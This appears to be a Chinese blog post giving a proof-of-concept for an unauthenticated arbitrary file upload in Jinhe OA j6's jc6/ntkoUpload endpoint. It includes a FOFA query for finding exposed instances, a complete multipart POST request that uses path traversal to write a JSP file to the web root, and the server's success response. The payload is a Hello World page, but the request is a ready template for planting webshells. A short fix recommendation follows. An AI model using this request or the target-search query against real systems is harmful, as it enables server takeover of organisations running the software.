

J1-16金和-OA-文件上传

漏洞描述：

金和OA j6系统jc6/ntkoUpload/接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA: app="金和网络-金和OA"

漏洞复现：

payload:

```
POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=---WebKitFormBoundary5iALAX1SiqxJXrhK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

-----WebKitFormBoundary5iALAX1SiqxJXrhK
Content-Disposition: form-data; name="filename"

../../../../upload/a.jsp
-----WebKitFormBoundary5iALAX1SiqxJXrhK
Content-Disposition: form-data; name="uploadFile"; filename="a.jpg"
Content-Type: image/jpeg

<% out.println("Hello, World!"); %>
-----WebKitFormBoundary5iALAX1SiqxJXrhK
Content-Disposition: form-data; name="Submit"

upload
-----WebKitFormBoundary5iALAX1SiqxJXrhK--
```

效果图:

Request

1 POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1

2 Host : [redacted]

3 Content-Type: multipart/form-data; boundary=---WebKitFormBoundary5iALAX1SiqxJXrhK

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

8 Connection: close

9

10 -----WebKitFormBoundary5iALAX1SiqxJXrhK

11 Content-Disposition: form-data; name="filename"

12

13 ../../../../upload/a.jsp

14 -----WebKitFormBoundary5iALAX1SiqxJXrhK

15 Content-Disposition: form-data; name="uploadFile"; filename="a.jpg"

16 Content-Type: image/jpeg

17

18 <% out.println("Hello, World!"); %>

19 -----WebKitFormBoundary5iALAX1SiqxJXrhK

20 Content-Disposition: form-data; name="Submit"

21

22 upload

23 -----WebKitFormBoundary5iALAX1SiqxJXrhK--

Responses 2bytes / 110ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=65A295308FBCDA9FF93

4 Pragma: No-cache

5 Cache-Control: no-cache

6 Expires: Thu, 01 Jan 1970 00:00:00 GMT

7 Content-Type: text/plain; charset=utf-8

8 Date: Tue, 02 Jan 2024 08:42:11 GMT

9 Connection: close

10 Content-Length: 2

11

12 ok

PS: 上传路径为请求体自定义的文件路径
验证

← → ↺

⚠ 不安全 [redacted] upload/a.jsp

Hello, World!

CSDN @OldBoy_G

修复建议：

修复金和OA j6系统的jc6/ntkoUpload/接口，确保实施身份验证和文件类型检查，以防止未经授权的文件上传。